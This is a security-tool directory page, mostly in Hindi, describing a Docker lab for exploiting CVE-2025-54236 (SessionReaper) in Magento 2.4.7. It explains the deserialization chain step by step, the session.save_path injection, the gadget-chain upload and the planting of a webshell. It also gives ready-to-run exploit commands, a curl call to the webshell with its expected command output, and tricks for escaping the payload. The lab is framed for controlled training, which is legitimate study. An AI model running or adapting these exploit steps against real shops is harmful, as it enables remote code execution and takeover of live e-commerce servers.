Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/brito101/session_reaper_lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubbrito101/session_reaper_lab

session_reaper_lab

CVE-2025-54236 (SessionReaper) के व्यावहारिक प्रदर्शन के लिए Docker वातावरण: Magento Open Source 2.4.7 में RCE की ओर ले जाने वाला PHP Object Deserialization

रिपॉजिटरी देखें
33 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-54236 - SessionReaper प्रयोगशाला

CVE-2025-54236 (SessionReaper) के व्यावहारिक प्रदर्शन हेतु Docker वातावरण: PHP ऑब्जेक्ट डिसीरियलाइज़ेशन जो Magento Open Source 2.4.7 में RCE की ओर ले जाता है।

केवल नियंत्रित वातावरण में उपयोग हेतु। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न चलाएं।


भेद्यता के बारे में

CVE-2025-54236 Magento Open Source और Adobe Commerce को संस्करण 2.4.7 तक प्रभावित करता है। ServiceInputProcessor::getConstructorData() विधि JSON के माध्यम से नेस्टेड पैरामीटर स्वीकार करती है जो session.save_path को ओवरराइट करने की अनुमति देते हैं - वह फ़ोल्डर जहाँ PHP सत्र फ़ाइलें संग्रहीत करता है।

शोषण श्रृंखला:

  1. एक सीरियलाइज़्ड PHP फ़ाइल (phpggc के माध्यम से Guzzle/FW1 गैजेट चेन) को /customer/address_file/upload के माध्यम से भेजा जाता है, जो इसे pub/media/customer_address/s/e/sess_<id> पर सहेजता है।
  2. REST API के लिए एक अनुरोध कंस्ट्रक्टर पैरामीटर के रूप में इंजेक्ट करता है।
{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}
  • PHP नकली PHPSESSID के साथ session_start() को कॉल करता है, गैजेट चेन को डिसीरियलाइज़ करता है और pub/errors/ में एक वेबशेल लिखता है।
  • पूर्वापेक्षा: PHP सत्र file-based (Redis/Memcached नहीं) के रूप में कॉन्फ़िगर किए गए हैं।

    • CVSS: 9.1 (गंभीर)
    • प्रभावित संस्करण: Magento Open Source / Adobe Commerce ≤ 2.4.7

    रिपॉजिटरी संरचना

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerável)
    │   ├── Dockerfile            # PHP 8.2-FPM com extensões Magento
    │   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Configurações do ambiente
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Sessões file-based, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Instalação completa do zero
    │       └── 02-demo-setup.sh  # Prepara produto, payload e imprime instruções
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # PoC principal (autor: alexb616)
    └── payloads/
        ├── shell.php             # Webshell com aspas simples (evita escape JSON)
        └── sess_payload.bin      # Gadget chain serializada (gerado pelo script)
    

    आवश्यकताएँ

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (phpggc के लिए) या ambionics/phpggc इमेज के साथ Docker उपलब्ध हो
    • phpggc - https://github.com/ambionics/phpggc
      • session_reaper.py बाइनरी को खोजता है: सिस्टम PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc में, और फ़ॉलबैक के रूप में स्वचालित रूप से Docker इमेज ambionics/phpggc को खींचता है
    • Python 3.8+ requests के साथ (pip install requests)
    • WSL2 / Linux (WSL2 में, Elasticsearch के लिए आवश्यक हो सकता है: sudo sysctl -w vm.max_map_count=262144)

    स्थापना

    root@kitploit:~
    cd lab-magento
    
    # 1. Instalar Magento 2.4.7 do zero (~25 minutos)
    bash scripts/install.sh
    

    install.sh निम्नलिखित करता है:

    • कस्टम PHP इमेज का बिल्ड
    • 5 कंटेनरों को ऊपर उठाता है (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Git के माध्यम से Magento 2.4.7 को क्लोन करता है (Marketplace खाते के बिना)
    • composer install --no-dev चलाता है
    • setup:install को file-based सत्रों के साथ चलाता है
    • मोड default सेट करता है (developer नहीं - PHP 8.2 की चेतावनियों को अपवाद बनने से रोकता है)
    • प्रशासक तक आसान पहुँच के लिए 2FA अक्षम करता है
    • setup:static-content:deploy चलाता है
    • सभी चरणों में www-data अनुमतियों को सही करता है

    एक्सप्लॉइट चलाना

    स्थापना के बाद, रूट निर्देशिका (/magento/) से:

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    RCE सत्यापित करें:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    वैकल्पिक विधि (वेक्टर address, वास्तविक उत्पाद के साथ):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    प्रयोगशाला क्रेडेंशियल्स

    सेवाURL / Hostक्रेडेंशियल
    Magento स्टोरhttp://localhost:8080/-
    Magento व्यवस्थापकhttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    व्यवस्थापक URI स्थापना के दौरान यादृच्छिक रूप से उत्पन्न होता है। इसे खोजने के लिए:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    निगरानी

    root@kitploit:~
    # Sessões criadas pelo exploit
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Arquivo de sessão malicioso em media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Logs em tempo real
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    सफाई

    root@kitploit:~
    # Remover webshell
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Parar containers
    docker compose -f lab-magento/docker-compose.yml down
    
    # Destruir tudo (containers + volumes)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    तकनीकी विवरण

    वेबशेल में एकल उद्धरण क्यों? phpggc Guzzle/FW1 पेलोड को JSON के रूप में सीरियलाइज़ करता है: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. PHP सामग्री JSON-एनकोडेड है, इसलिए " \" बन जाता है। $_GET["cmd"] का उपयोग करने पर $_GET[\"cmd\"] होगा - PHP पार्स त्रुटि। समाधान वेबशेल को एकल उद्धरणों के साथ लिखना है: $_GET['cmd']।

    मोड default और developer क्यों नहीं? Magento developer मोड में सभी PHP चेतावनियों को अपवादों में बदल देता है। PHP 8.2 lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 पर Warning: Trying to access array offset on null जारी करता है, जो व्यवस्थापक में 500 अपवाद बन जाता है। default मोड में चेतावनी को नजरअंदाज कर दिया जाता है।

    फ़ाइलें s/e/ में क्यों रहती हैं? Magento पता अपलोड को pub/media/customer_address/{1º char}/{2º char}/filename में व्यवस्थित करता है। sess_* फ़ाइलों के लिए, पहला अक्षर s है और दूसरा e है, जो हमेशा pub/media/customer_address/s/e/ में परिणत होता है।


    संदर्भ

    • NVD - CVE-2025-54236
    • मूल PoC - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe सुरक्षा बुलेटिन APSB25-94
    टूल डाउनलोड करें